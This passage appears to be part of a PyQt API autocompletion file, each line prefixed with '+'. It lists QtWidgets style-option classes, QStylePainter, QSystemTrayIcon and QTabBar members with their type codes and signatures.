+QtWidgets.QStyleOptionTab.TabPosition.Beginning?10 +QtWidgets.QStyleOptionTab.TabPosition.Middle?10 +QtWidgets.QStyleOptionTab.TabPosition.End?10 +QtWidgets.QStyleOptionTab.TabPosition.OnlyOneTab?10 +QtWidgets.QStyleOptionTab.StyleOptionVersion?10 +QtWidgets.QStyleOptionTab.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionTab.StyleOptionType?10 +QtWidgets.QStyleOptionTab.StyleOptionType.Type?10 +QtWidgets.QStyleOptionTab.cornerWidgets?7 +QtWidgets.QStyleOptionTab.documentMode?7 +QtWidgets.QStyleOptionTab.features?7 +QtWidgets.QStyleOptionTab.icon?7 +QtWidgets.QStyleOptionTab.iconSize?7 +QtWidgets.QStyleOptionTab.leftButtonSize?7 +QtWidgets.QStyleOptionTab.position?7 +QtWidgets.QStyleOptionTab.rightButtonSize?7 +QtWidgets.QStyleOptionTab.row?7 +QtWidgets.QStyleOptionTab.selectedPosition?7 +QtWidgets.QStyleOptionTab.shape?7 +QtWidgets.QStyleOptionTab.text?7 +QtWidgets.QStyleOptionTab?1() +QtWidgets.QStyleOptionTab.__init__?1(self) +QtWidgets.QStyleOptionTab?1(QStyleOptionTab) +QtWidgets.QStyleOptionTab.__init__?1(self, QStyleOptionTab) +QtWidgets.QStyleOptionTab.CornerWidgets?1() +QtWidgets.QStyleOptionTab.CornerWidgets.__init__?1(self) +QtWidgets.QStyleOptionTab.CornerWidgets?1(int) +QtWidgets.QStyleOptionTab.CornerWidgets.__init__?1(self, int) +QtWidgets.QStyleOptionTab.CornerWidgets?1(QStyleOptionTab.CornerWidgets) +QtWidgets.QStyleOptionTab.CornerWidgets.__init__?1(self, QStyleOptionTab.CornerWidgets) +QtWidgets.QStyleOptionTab.TabFeatures?1() +QtWidgets.QStyleOptionTab.TabFeatures.__init__?1(self) +QtWidgets.QStyleOptionTab.TabFeatures?1(int) +QtWidgets.QStyleOptionTab.TabFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionTab.TabFeatures?1(QStyleOptionTab.TabFeatures) +QtWidgets.QStyleOptionTab.TabFeatures.__init__?1(self, QStyleOptionTab.TabFeatures) +QtWidgets.QStyleOptionTabV4.StyleOptionVersion?10 +QtWidgets.QStyleOptionTabV4.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionTabV4.tabIndex?7 +QtWidgets.QStyleOptionTabV4?1() +QtWidgets.QStyleOptionTabV4.__init__?1(self) +QtWidgets.QStyleOptionTabV4?1(QStyleOptionTabV4) +QtWidgets.QStyleOptionTabV4.__init__?1(self, QStyleOptionTabV4) +QtWidgets.QStyleOptionProgressBar.StyleOptionVersion?10 +QtWidgets.QStyleOptionProgressBar.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionProgressBar.StyleOptionType?10 +QtWidgets.QStyleOptionProgressBar.StyleOptionType.Type?10 +QtWidgets.QStyleOptionProgressBar.bottomToTop?7 +QtWidgets.QStyleOptionProgressBar.invertedAppearance?7 +QtWidgets.QStyleOptionProgressBar.maximum?7 +QtWidgets.QStyleOptionProgressBar.minimum?7 +QtWidgets.QStyleOptionProgressBar.orientation?7 +QtWidgets.QStyleOptionProgressBar.progress?7 +QtWidgets.QStyleOptionProgressBar.text?7 +QtWidgets.QStyleOptionProgressBar.textAlignment?7 +QtWidgets.QStyleOptionProgressBar.textVisible?7 +QtWidgets.QStyleOptionProgressBar?1() +QtWidgets.QStyleOptionProgressBar.__init__?1(self) +QtWidgets.QStyleOptionProgressBar?1(QStyleOptionProgressBar) +QtWidgets.QStyleOptionProgressBar.__init__?1(self, QStyleOptionProgressBar) +QtWidgets.QStyleOptionMenuItem.CheckType?10 +QtWidgets.QStyleOptionMenuItem.CheckType.NotCheckable?10 +QtWidgets.QStyleOptionMenuItem.CheckType.Exclusive?10 +QtWidgets.QStyleOptionMenuItem.CheckType.NonExclusive?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.Normal?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.DefaultItem?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.Separator?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.SubMenu?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.Scroller?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.TearOff?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.Margin?10 +QtWidgets.QStyleOptionMenuItem.MenuItemType.EmptyArea?10 +QtWidgets.QStyleOptionMenuItem.StyleOptionVersion?10 +QtWidgets.QStyleOptionMenuItem.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionMenuItem.StyleOptionType?10 +QtWidgets.QStyleOptionMenuItem.StyleOptionType.Type?10 +QtWidgets.QStyleOptionMenuItem.checkType?7 +QtWidgets.QStyleOptionMenuItem.checked?7 +QtWidgets.QStyleOptionMenuItem.font?7 +QtWidgets.QStyleOptionMenuItem.icon?7 +QtWidgets.QStyleOptionMenuItem.maxIconWidth?7 +QtWidgets.QStyleOptionMenuItem.menuHasCheckableItems?7 +QtWidgets.QStyleOptionMenuItem.menuItemType?7 +QtWidgets.QStyleOptionMenuItem.menuRect?7 +QtWidgets.QStyleOptionMenuItem.tabWidth?7 +QtWidgets.QStyleOptionMenuItem.text?7 +QtWidgets.QStyleOptionMenuItem?1() +QtWidgets.QStyleOptionMenuItem.__init__?1(self) +QtWidgets.QStyleOptionMenuItem?1(QStyleOptionMenuItem) +QtWidgets.QStyleOptionMenuItem.__init__?1(self, QStyleOptionMenuItem) +QtWidgets.QStyleOptionDockWidget.StyleOptionVersion?10 +QtWidgets.QStyleOptionDockWidget.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionDockWidget.StyleOptionType?10 +QtWidgets.QStyleOptionDockWidget.StyleOptionType.Type?10 +QtWidgets.QStyleOptionDockWidget.closable?7 +QtWidgets.QStyleOptionDockWidget.floatable?7 +QtWidgets.QStyleOptionDockWidget.movable?7 +QtWidgets.QStyleOptionDockWidget.title?7 +QtWidgets.QStyleOptionDockWidget.verticalTitleBar?7 +QtWidgets.QStyleOptionDockWidget?1() +QtWidgets.QStyleOptionDockWidget.__init__?1(self) +QtWidgets.QStyleOptionDockWidget?1(QStyleOptionDockWidget) +QtWidgets.QStyleOptionDockWidget.__init__?1(self, QStyleOptionDockWidget) +QtWidgets.QStyleOptionViewItem.ViewItemPosition?10 +QtWidgets.QStyleOptionViewItem.ViewItemPosition.Invalid?10 +QtWidgets.QStyleOptionViewItem.ViewItemPosition.Beginning?10 +QtWidgets.QStyleOptionViewItem.ViewItemPosition.Middle?10 +QtWidgets.QStyleOptionViewItem.ViewItemPosition.End?10 +QtWidgets.QStyleOptionViewItem.ViewItemPosition.OnlyOne?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.None_?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.WrapText?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.Alternate?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.HasCheckIndicator?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.HasDisplay?10 +QtWidgets.QStyleOptionViewItem.ViewItemFeature.HasDecoration?10 +QtWidgets.QStyleOptionViewItem.Position?10 +QtWidgets.QStyleOptionViewItem.Position.Left?10 +QtWidgets.QStyleOptionViewItem.Position.Right?10 +QtWidgets.QStyleOptionViewItem.Position.Top?10 +QtWidgets.QStyleOptionViewItem.Position.Bottom?10 +QtWidgets.QStyleOptionViewItem.StyleOptionVersion?10 +QtWidgets.QStyleOptionViewItem.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionViewItem.StyleOptionType?10 +QtWidgets.QStyleOptionViewItem.StyleOptionType.Type?10 +QtWidgets.QStyleOptionViewItem.backgroundBrush?7 +QtWidgets.QStyleOptionViewItem.checkState?7 +QtWidgets.QStyleOptionViewItem.decorationAlignment?7 +QtWidgets.QStyleOptionViewItem.decorationPosition?7 +QtWidgets.QStyleOptionViewItem.decorationSize?7 +QtWidgets.QStyleOptionViewItem.displayAlignment?7 +QtWidgets.QStyleOptionViewItem.features?7 +QtWidgets.QStyleOptionViewItem.font?7 +QtWidgets.QStyleOptionViewItem.icon?7 +QtWidgets.QStyleOptionViewItem.index?7 +QtWidgets.QStyleOptionViewItem.locale?7 +QtWidgets.QStyleOptionViewItem.showDecorationSelected?7 +QtWidgets.QStyleOptionViewItem.text?7 +QtWidgets.QStyleOptionViewItem.textElideMode?7 +QtWidgets.QStyleOptionViewItem.viewItemPosition?7 +QtWidgets.QStyleOptionViewItem.widget?7 +QtWidgets.QStyleOptionViewItem?1() +QtWidgets.QStyleOptionViewItem.__init__?1(self) +QtWidgets.QStyleOptionViewItem?1(QStyleOptionViewItem) +QtWidgets.QStyleOptionViewItem.__init__?1(self, QStyleOptionViewItem) +QtWidgets.QStyleOptionViewItem.ViewItemFeatures?1() +QtWidgets.QStyleOptionViewItem.ViewItemFeatures.__init__?1(self) +QtWidgets.QStyleOptionViewItem.ViewItemFeatures?1(int) +QtWidgets.QStyleOptionViewItem.ViewItemFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionViewItem.ViewItemFeatures?1(QStyleOptionViewItem.ViewItemFeatures) +QtWidgets.QStyleOptionViewItem.ViewItemFeatures.__init__?1(self, QStyleOptionViewItem.ViewItemFeatures) +QtWidgets.QStyleOptionToolBox.SelectedPosition?10 +QtWidgets.QStyleOptionToolBox.SelectedPosition.NotAdjacent?10 +QtWidgets.QStyleOptionToolBox.SelectedPosition.NextIsSelected?10 +QtWidgets.QStyleOptionToolBox.SelectedPosition.PreviousIsSelected?10 +QtWidgets.QStyleOptionToolBox.TabPosition?10 +QtWidgets.QStyleOptionToolBox.TabPosition.Beginning?10 +QtWidgets.QStyleOptionToolBox.TabPosition.Middle?10 +QtWidgets.QStyleOptionToolBox.TabPosition.End?10 +QtWidgets.QStyleOptionToolBox.TabPosition.OnlyOneTab?10 +QtWidgets.QStyleOptionToolBox.StyleOptionVersion?10 +QtWidgets.QStyleOptionToolBox.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionToolBox.StyleOptionType?10 +QtWidgets.QStyleOptionToolBox.StyleOptionType.Type?10 +QtWidgets.QStyleOptionToolBox.icon?7 +QtWidgets.QStyleOptionToolBox.position?7 +QtWidgets.QStyleOptionToolBox.selectedPosition?7 +QtWidgets.QStyleOptionToolBox.text?7 +QtWidgets.QStyleOptionToolBox?1() +QtWidgets.QStyleOptionToolBox.__init__?1(self) +QtWidgets.QStyleOptionToolBox?1(QStyleOptionToolBox) +QtWidgets.QStyleOptionToolBox.__init__?1(self, QStyleOptionToolBox) +QtWidgets.QStyleOptionRubberBand.StyleOptionVersion?10 +QtWidgets.QStyleOptionRubberBand.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionRubberBand.StyleOptionType?10 +QtWidgets.QStyleOptionRubberBand.StyleOptionType.Type?10 +QtWidgets.QStyleOptionRubberBand.opaque?7 +QtWidgets.QStyleOptionRubberBand.shape?7 +QtWidgets.QStyleOptionRubberBand?1() +QtWidgets.QStyleOptionRubberBand.__init__?1(self) +QtWidgets.QStyleOptionRubberBand?1(QStyleOptionRubberBand) +QtWidgets.QStyleOptionRubberBand.__init__?1(self, QStyleOptionRubberBand) +QtWidgets.QStyleOptionComplex.StyleOptionVersion?10 +QtWidgets.QStyleOptionComplex.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionComplex.StyleOptionType?10 +QtWidgets.QStyleOptionComplex.StyleOptionType.Type?10 +QtWidgets.QStyleOptionComplex.activeSubControls?7 +QtWidgets.QStyleOptionComplex.subControls?7 +QtWidgets.QStyleOptionComplex?1(int version=QStyleOptionComplex.StyleOptionVersion.Version, int type=QStyleOption.OptionType.SO_Complex) +QtWidgets.QStyleOptionComplex.__init__?1(self, int version=QStyleOptionComplex.StyleOptionVersion.Version, int type=QStyleOption.OptionType.SO_Complex) +QtWidgets.QStyleOptionComplex?1(QStyleOptionComplex) +QtWidgets.QStyleOptionComplex.__init__?1(self, QStyleOptionComplex) +QtWidgets.QStyleOptionSlider.StyleOptionVersion?10 +QtWidgets.QStyleOptionSlider.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionSlider.StyleOptionType?10 +QtWidgets.QStyleOptionSlider.StyleOptionType.Type?10 +QtWidgets.QStyleOptionSlider.dialWrapping?7 +QtWidgets.QStyleOptionSlider.maximum?7 +QtWidgets.QStyleOptionSlider.minimum?7 +QtWidgets.QStyleOptionSlider.notchTarget?7 +QtWidgets.QStyleOptionSlider.orientation?7 +QtWidgets.QStyleOptionSlider.pageStep?7 +QtWidgets.QStyleOptionSlider.singleStep?7 +QtWidgets.QStyleOptionSlider.sliderPosition?7 +QtWidgets.QStyleOptionSlider.sliderValue?7 +QtWidgets.QStyleOptionSlider.tickInterval?7 +QtWidgets.QStyleOptionSlider.tickPosition?7 +QtWidgets.QStyleOptionSlider.upsideDown?7 +QtWidgets.QStyleOptionSlider?1() +QtWidgets.QStyleOptionSlider.__init__?1(self) +QtWidgets.QStyleOptionSlider?1(QStyleOptionSlider) +QtWidgets.QStyleOptionSlider.__init__?1(self, QStyleOptionSlider) +QtWidgets.QStyleOptionSpinBox.StyleOptionVersion?10 +QtWidgets.QStyleOptionSpinBox.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionSpinBox.StyleOptionType?10 +QtWidgets.QStyleOptionSpinBox.StyleOptionType.Type?10 +QtWidgets.QStyleOptionSpinBox.buttonSymbols?7 +QtWidgets.QStyleOptionSpinBox.frame?7 +QtWidgets.QStyleOptionSpinBox.stepEnabled?7 +QtWidgets.QStyleOptionSpinBox?1() +QtWidgets.QStyleOptionSpinBox.__init__?1(self) +QtWidgets.QStyleOptionSpinBox?1(QStyleOptionSpinBox) +QtWidgets.QStyleOptionSpinBox.__init__?1(self, QStyleOptionSpinBox) +QtWidgets.QStyleOptionToolButton.ToolButtonFeature?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.None_?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.Arrow?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.Menu?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.PopupDelay?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.MenuButtonPopup?10 +QtWidgets.QStyleOptionToolButton.ToolButtonFeature.HasMenu?10 +QtWidgets.QStyleOptionToolButton.StyleOptionVersion?10 +QtWidgets.QStyleOptionToolButton.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionToolButton.StyleOptionType?10 +QtWidgets.QStyleOptionToolButton.StyleOptionType.Type?10 +QtWidgets.QStyleOptionToolButton.arrowType?7 +QtWidgets.QStyleOptionToolButton.features?7 +QtWidgets.QStyleOptionToolButton.font?7 +QtWidgets.QStyleOptionToolButton.icon?7 +QtWidgets.QStyleOptionToolButton.iconSize?7 +QtWidgets.QStyleOptionToolButton.pos?7 +QtWidgets.QStyleOptionToolButton.text?7 +QtWidgets.QStyleOptionToolButton.toolButtonStyle?7 +QtWidgets.QStyleOptionToolButton?1() +QtWidgets.QStyleOptionToolButton.__init__?1(self) +QtWidgets.QStyleOptionToolButton?1(QStyleOptionToolButton) +QtWidgets.QStyleOptionToolButton.__init__?1(self, QStyleOptionToolButton) +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures?1() +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures.__init__?1(self) +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures?1(int) +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures?1(QStyleOptionToolButton.ToolButtonFeatures) +QtWidgets.QStyleOptionToolButton.ToolButtonFeatures.__init__?1(self, QStyleOptionToolButton.ToolButtonFeatures) +QtWidgets.QStyleOptionComboBox.StyleOptionVersion?10 +QtWidgets.QStyleOptionComboBox.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionComboBox.StyleOptionType?10 +QtWidgets.QStyleOptionComboBox.StyleOptionType.Type?10 +QtWidgets.QStyleOptionComboBox.currentIcon?7 +QtWidgets.QStyleOptionComboBox.currentText?7 +QtWidgets.QStyleOptionComboBox.editable?7 +QtWidgets.QStyleOptionComboBox.frame?7 +QtWidgets.QStyleOptionComboBox.iconSize?7 +QtWidgets.QStyleOptionComboBox.popupRect?7 +QtWidgets.QStyleOptionComboBox?1() +QtWidgets.QStyleOptionComboBox.__init__?1(self) +QtWidgets.QStyleOptionComboBox?1(QStyleOptionComboBox) +QtWidgets.QStyleOptionComboBox.__init__?1(self, QStyleOptionComboBox) +QtWidgets.QStyleOptionTitleBar.StyleOptionVersion?10 +QtWidgets.QStyleOptionTitleBar.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionTitleBar.StyleOptionType?10 +QtWidgets.QStyleOptionTitleBar.StyleOptionType.Type?10 +QtWidgets.QStyleOptionTitleBar.icon?7 +QtWidgets.QStyleOptionTitleBar.text?7 +QtWidgets.QStyleOptionTitleBar.titleBarFlags?7 +QtWidgets.QStyleOptionTitleBar.titleBarState?7 +QtWidgets.QStyleOptionTitleBar?1() +QtWidgets.QStyleOptionTitleBar.__init__?1(self) +QtWidgets.QStyleOptionTitleBar?1(QStyleOptionTitleBar) +QtWidgets.QStyleOptionTitleBar.__init__?1(self, QStyleOptionTitleBar) +QtWidgets.QStyleHintReturn.StyleOptionVersion?10 +QtWidgets.QStyleHintReturn.StyleOptionVersion.Version?10 +QtWidgets.QStyleHintReturn.StyleOptionType?10 +QtWidgets.QStyleHintReturn.StyleOptionType.Type?10 +QtWidgets.QStyleHintReturn.HintReturnType?10 +QtWidgets.QStyleHintReturn.HintReturnType.SH_Default?10 +QtWidgets.QStyleHintReturn.HintReturnType.SH_Mask?10 +QtWidgets.QStyleHintReturn.HintReturnType.SH_Variant?10 +QtWidgets.QStyleHintReturn.type?7 +QtWidgets.QStyleHintReturn.version?7 +QtWidgets.QStyleHintReturn?1(int version=QStyleOption.StyleOptionVersion.Version, int type=QStyleHintReturn.HintReturnType.SH_Default) +QtWidgets.QStyleHintReturn.__init__?1(self, int version=QStyleOption.StyleOptionVersion.Version, int type=QStyleHintReturn.HintReturnType.SH_Default) +QtWidgets.QStyleHintReturn?1(QStyleHintReturn) +QtWidgets.QStyleHintReturn.__init__?1(self, QStyleHintReturn) +QtWidgets.QStyleHintReturnMask.StyleOptionVersion?10 +QtWidgets.QStyleHintReturnMask.StyleOptionVersion.Version?10 +QtWidgets.QStyleHintReturnMask.StyleOptionType?10 +QtWidgets.QStyleHintReturnMask.StyleOptionType.Type?10 +QtWidgets.QStyleHintReturnMask.region?7 +QtWidgets.QStyleHintReturnMask?1() +QtWidgets.QStyleHintReturnMask.__init__?1(self) +QtWidgets.QStyleHintReturnMask?1(QStyleHintReturnMask) +QtWidgets.QStyleHintReturnMask.__init__?1(self, QStyleHintReturnMask) +QtWidgets.QStyleOptionToolBar.ToolBarFeature?10 +QtWidgets.QStyleOptionToolBar.ToolBarFeature.None_?10 +QtWidgets.QStyleOptionToolBar.ToolBarFeature.Movable?10 +QtWidgets.QStyleOptionToolBar.ToolBarPosition?10 +QtWidgets.QStyleOptionToolBar.ToolBarPosition.Beginning?10 +QtWidgets.QStyleOptionToolBar.ToolBarPosition.Middle?10 +QtWidgets.QStyleOptionToolBar.ToolBarPosition.End?10 +QtWidgets.QStyleOptionToolBar.ToolBarPosition.OnlyOne?10 +QtWidgets.QStyleOptionToolBar.StyleOptionVersion?10 +QtWidgets.QStyleOptionToolBar.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionToolBar.StyleOptionType?10 +QtWidgets.QStyleOptionToolBar.StyleOptionType.Type?10 +QtWidgets.QStyleOptionToolBar.features?7 +QtWidgets.QStyleOptionToolBar.lineWidth?7 +QtWidgets.QStyleOptionToolBar.midLineWidth?7 +QtWidgets.QStyleOptionToolBar.positionOfLine?7 +QtWidgets.QStyleOptionToolBar.positionWithinLine?7 +QtWidgets.QStyleOptionToolBar.toolBarArea?7 +QtWidgets.QStyleOptionToolBar?1() +QtWidgets.QStyleOptionToolBar.__init__?1(self) +QtWidgets.QStyleOptionToolBar?1(QStyleOptionToolBar) +QtWidgets.QStyleOptionToolBar.__init__?1(self, QStyleOptionToolBar) +QtWidgets.QStyleOptionToolBar.ToolBarFeatures?1() +QtWidgets.QStyleOptionToolBar.ToolBarFeatures.__init__?1(self) +QtWidgets.QStyleOptionToolBar.ToolBarFeatures?1(int) +QtWidgets.QStyleOptionToolBar.ToolBarFeatures.__init__?1(self, int) +QtWidgets.QStyleOptionToolBar.ToolBarFeatures?1(QStyleOptionToolBar.ToolBarFeatures) +QtWidgets.QStyleOptionToolBar.ToolBarFeatures.__init__?1(self, QStyleOptionToolBar.ToolBarFeatures) +QtWidgets.QStyleOptionGroupBox.StyleOptionVersion?10 +QtWidgets.QStyleOptionGroupBox.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionGroupBox.StyleOptionType?10 +QtWidgets.QStyleOptionGroupBox.StyleOptionType.Type?10 +QtWidgets.QStyleOptionGroupBox.features?7 +QtWidgets.QStyleOptionGroupBox.lineWidth?7 +QtWidgets.QStyleOptionGroupBox.midLineWidth?7 +QtWidgets.QStyleOptionGroupBox.text?7 +QtWidgets.QStyleOptionGroupBox.textAlignment?7 +QtWidgets.QStyleOptionGroupBox.textColor?7 +QtWidgets.QStyleOptionGroupBox?1() +QtWidgets.QStyleOptionGroupBox.__init__?1(self) +QtWidgets.QStyleOptionGroupBox?1(QStyleOptionGroupBox) +QtWidgets.QStyleOptionGroupBox.__init__?1(self, QStyleOptionGroupBox) +QtWidgets.QStyleOptionSizeGrip.StyleOptionVersion?10 +QtWidgets.QStyleOptionSizeGrip.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionSizeGrip.StyleOptionType?10 +QtWidgets.QStyleOptionSizeGrip.StyleOptionType.Type?10 +QtWidgets.QStyleOptionSizeGrip.corner?7 +QtWidgets.QStyleOptionSizeGrip?1() +QtWidgets.QStyleOptionSizeGrip.__init__?1(self) +QtWidgets.QStyleOptionSizeGrip?1(QStyleOptionSizeGrip) +QtWidgets.QStyleOptionSizeGrip.__init__?1(self, QStyleOptionSizeGrip) +QtWidgets.QStyleOptionGraphicsItem.StyleOptionVersion?10 +QtWidgets.QStyleOptionGraphicsItem.StyleOptionVersion.Version?10 +QtWidgets.QStyleOptionGraphicsItem.StyleOptionType?10 +QtWidgets.QStyleOptionGraphicsItem.StyleOptionType.Type?10 +QtWidgets.QStyleOptionGraphicsItem.exposedRect?7 +QtWidgets.QStyleOptionGraphicsItem?1() +QtWidgets.QStyleOptionGraphicsItem.__init__?1(self) +QtWidgets.QStyleOptionGraphicsItem?1(QStyleOptionGraphicsItem) +QtWidgets.QStyleOptionGraphicsItem.__init__?1(self, QStyleOptionGraphicsItem) +QtWidgets.QStyleOptionGraphicsItem.levelOfDetailFromTransform?4(QTransform) -> float +QtWidgets.QStyleHintReturnVariant.StyleOptionVersion?10 +QtWidgets.QStyleHintReturnVariant.StyleOptionVersion.Version?10 +QtWidgets.QStyleHintReturnVariant.StyleOptionType?10 +QtWidgets.QStyleHintReturnVariant.StyleOptionType.Type?10 +QtWidgets.QStyleHintReturnVariant.variant?7 +QtWidgets.QStyleHintReturnVariant?1() +QtWidgets.QStyleHintReturnVariant.__init__?1(self) +QtWidgets.QStyleHintReturnVariant?1(QStyleHintReturnVariant) +QtWidgets.QStyleHintReturnVariant.__init__?1(self, QStyleHintReturnVariant) +QtWidgets.QStylePainter?1() +QtWidgets.QStylePainter.__init__?1(self) +QtWidgets.QStylePainter?1(QWidget) +QtWidgets.QStylePainter.__init__?1(self, QWidget) +QtWidgets.QStylePainter?1(QPaintDevice, QWidget) +QtWidgets.QStylePainter.__init__?1(self, QPaintDevice, QWidget) +QtWidgets.QStylePainter.begin?4(QWidget) -> bool +QtWidgets.QStylePainter.begin?4(QPaintDevice, QWidget) -> bool +QtWidgets.QStylePainter.style?4() -> QStyle +QtWidgets.QStylePainter.drawPrimitive?4(QStyle.PrimitiveElement, QStyleOption) +QtWidgets.QStylePainter.drawControl?4(QStyle.ControlElement, QStyleOption) +QtWidgets.QStylePainter.drawComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex) +QtWidgets.QStylePainter.drawItemText?4(QRect, int, QPalette, bool, QString, QPalette.ColorRole textRole=QPalette.NoRole) +QtWidgets.QStylePainter.drawItemPixmap?4(QRect, int, QPixmap) +QtWidgets.QSystemTrayIcon.MessageIcon?10 +QtWidgets.QSystemTrayIcon.MessageIcon.NoIcon?10 +QtWidgets.QSystemTrayIcon.MessageIcon.Information?10 +QtWidgets.QSystemTrayIcon.MessageIcon.Warning?10 +QtWidgets.QSystemTrayIcon.MessageIcon.Critical?10 +QtWidgets.QSystemTrayIcon.ActivationReason?10 +QtWidgets.QSystemTrayIcon.ActivationReason.Unknown?10 +QtWidgets.QSystemTrayIcon.ActivationReason.Context?10 +QtWidgets.QSystemTrayIcon.ActivationReason.DoubleClick?10 +QtWidgets.QSystemTrayIcon.ActivationReason.Trigger?10 +QtWidgets.QSystemTrayIcon.ActivationReason.MiddleClick?10 +QtWidgets.QSystemTrayIcon?1(QObject parent=None) +QtWidgets.QSystemTrayIcon.__init__?1(self, QObject parent=None) +QtWidgets.QSystemTrayIcon?1(QIcon, QObject parent=None) +QtWidgets.QSystemTrayIcon.__init__?1(self, QIcon, QObject parent=None) +QtWidgets.QSystemTrayIcon.setContextMenu?4(QMenu) +QtWidgets.QSystemTrayIcon.contextMenu?4() -> QMenu +QtWidgets.QSystemTrayIcon.geometry?4() -> QRect +QtWidgets.QSystemTrayIcon.icon?4() -> QIcon +QtWidgets.QSystemTrayIcon.setIcon?4(QIcon) +QtWidgets.QSystemTrayIcon.toolTip?4() -> QString +QtWidgets.QSystemTrayIcon.setToolTip?4(QString) +QtWidgets.QSystemTrayIcon.isSystemTrayAvailable?4() -> bool +QtWidgets.QSystemTrayIcon.supportsMessages?4() -> bool +QtWidgets.QSystemTrayIcon.showMessage?4(QString, QString, QSystemTrayIcon.MessageIcon icon=QSystemTrayIcon.Information, int msecs=10000) +QtWidgets.QSystemTrayIcon.showMessage?4(QString, QString, QIcon, int msecs=10000) +QtWidgets.QSystemTrayIcon.isVisible?4() -> bool +QtWidgets.QSystemTrayIcon.hide?4() +QtWidgets.QSystemTrayIcon.setVisible?4(bool) +QtWidgets.QSystemTrayIcon.show?4() +QtWidgets.QSystemTrayIcon.activated?4(QSystemTrayIcon.ActivationReason) +QtWidgets.QSystemTrayIcon.messageClicked?4() +QtWidgets.QSystemTrayIcon.event?4(QEvent) -> bool +QtWidgets.QTabBar.SelectionBehavior?10 +QtWidgets.QTabBar.SelectionBehavior.SelectLeftTab?10 +QtWidgets.QTabBar.SelectionBehavior.SelectRightTab?10 +QtWidgets.QTabBar.SelectionBehavior.SelectPreviousTab?10 +QtWidgets.QTabBar.ButtonPosition?10 +QtWidgets.QTabBar.ButtonPosition.LeftSide?10 +QtWidgets.QTabBar.ButtonPosition.RightSide?10 +QtWidgets.QTabBar.Shape?10 +QtWidgets.QTabBar.Shape.RoundedNorth?10 +QtWidgets.QTabBar.Shape.RoundedSouth?10 +QtWidgets.QTabBar.Shape.RoundedWest?10 +QtWidgets.QTabBar.Shape.RoundedEast?10 +QtWidgets.QTabBar.Shape.TriangularNorth?10 +QtWidgets.QTabBar.Shape.TriangularSouth?10 +QtWidgets.QTabBar.Shape.TriangularWest?10 +QtWidgets.QTabBar.Shape.TriangularEast?10 +QtWidgets.QTabBar?1(QWidget parent=None) +QtWidgets.QTabBar.__init__?1(self, QWidget parent=None) +QtWidgets.QTabBar.shape?4() -> QTabBar.Shape +QtWidgets.QTabBar.setShape?4(QTabBar.Shape) +QtWidgets.QTabBar.addTab?4(QString) -> int +QtWidgets.QTabBar.addTab?4(QIcon, QString) -> int +QtWidgets.QTabBar.insertTab?4(int, QString) -> int +QtWidgets.QTabBar.insertTab?4(int, QIcon, QString) -> int +QtWidgets.QTabBar.removeTab?4(int) +QtWidgets.QTabBar.isTabEnabled?4(int) -> bool +QtWidgets.QTabBar.setTabEnabled?4(int, bool) +QtWidgets.QTabBar.tabText?4(int) -> QString +QtWidgets.QTabBar.setTabText?4(int, QString) +QtWidgets.QTabBar.tabTextColor?4(int) -> QColor +QtWidgets.QTabBar.setTabTextColor?4(int, QColor) +QtWidgets.QTabBar.tabIcon?4(int) -> QIcon +QtWidgets.QTabBar.setTabIcon?4(int, QIcon) +QtWidgets.QTabBar.setTabToolTip?4(int, QString) +QtWidgets.QTabBar.tabToolTip?4(int) -> QString +QtWidgets.QTabBar.setTabWhatsThis?4(int, QString) +QtWidgets.QTabBar.tabWhatsThis?4(int) -> QString +QtWidgets.QTabBar.setTabData?4(int, QVariant) +QtWidgets.QTabBar.tabData?4(int) -> QVariant +QtWidgets.QTabBar.tabAt?4(QPoint) -> int +QtWidgets.QTabBar.tabRect?4(int) -> QRect +QtWidgets.QTabBar.currentIndex?4() -> int +QtWidgets.QTabBar.count?4() -> int +QtWidgets.QTabBar.sizeHint?4() -> QSize +QtWidgets.QTabBar.minimumSizeHint?4() -> QSize +QtWidgets.QTabBar.setDrawBase?4(bool) +QtWidgets.QTabBar.drawBase?4() -> bool +QtWidgets.QTabBar.iconSize?4() -> QSize +QtWidgets.QTabBar.setIconSize?4(QSize) +QtWidgets.QTabBar.elideMode?4() -> Qt.TextElideMode +QtWidgets.QTabBar.setElideMode?4(Qt.TextElideMode) 